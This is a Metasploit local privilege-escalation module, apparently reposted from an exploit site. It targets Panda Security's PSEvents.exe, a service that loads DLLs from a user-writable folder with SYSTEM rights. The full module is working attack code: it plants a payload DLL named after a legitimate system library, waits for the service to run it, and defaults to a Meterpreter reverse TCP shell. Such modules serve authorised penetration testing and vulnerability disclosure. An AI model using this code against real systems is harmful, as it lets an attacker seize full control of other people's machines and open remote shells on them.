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Panda Security PSEvents Privilege Escalation Exploit
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Exploit::FileDropper include Post::File def initialize(info={}) super( update_info( info, 'Name' => 'Panda Security PSEvents Privilege Escalation', 'Description' => %q{ PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. When run, it checks a user writable folder for certain DLL files, and if any are found they are automatically run. Vulnerable Products: Panda Global Protection 2016 (<=16.1.2) Panda Antivirus Pro 2016 (<=16.1.2) Panda Small Busines Protetion (<=16.1.2) Panda Internet Security 2016 (<=16.1.2) }, 'License' => MSF_LICENSE, 'Author' => [ "h00die <mike@shorebreaksecurity.com>", # Module, 'Security-Assessment.com' # discovery ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'exitfunc' => 'seh' }, 'References' => [ [ 'EDB', '40020', 'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf', 'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053' ] ], 'DisclosureDate'=> 'Jun 27 2016' )) register_options( [ OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll', ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]), OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]), ], self.class) end def get_path() case sysinfo['OS'] when /Windows (7|8|10|2012|2008)/ return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' when /Windows (NT|XP)/ return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' end end def check if directory?(get_path()) print_good('Vuln path exists') CheckCode::Appears else vprint_error("#{get_path()} doesn't exist on target") CheckCode::Safe end end def exploit vprint_status("OS Detected as: #{sysinfo['OS']}") payload_filepath = get_path() payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}" upload_payload_dll(payload_filepath) # start the hour wait stime = Time.now.to_f print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...' print_status "Start Time: #{Time.now.to_s}" until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f Rex.sleep(1) end end def upload_payload_dll(payload_filepath) payload = generate_payload_dll() print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") write_file(payload_filepath, payload) register_file_for_cleanup(payload_filepath) rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}") end end end # 0day.today [2024-12-24] #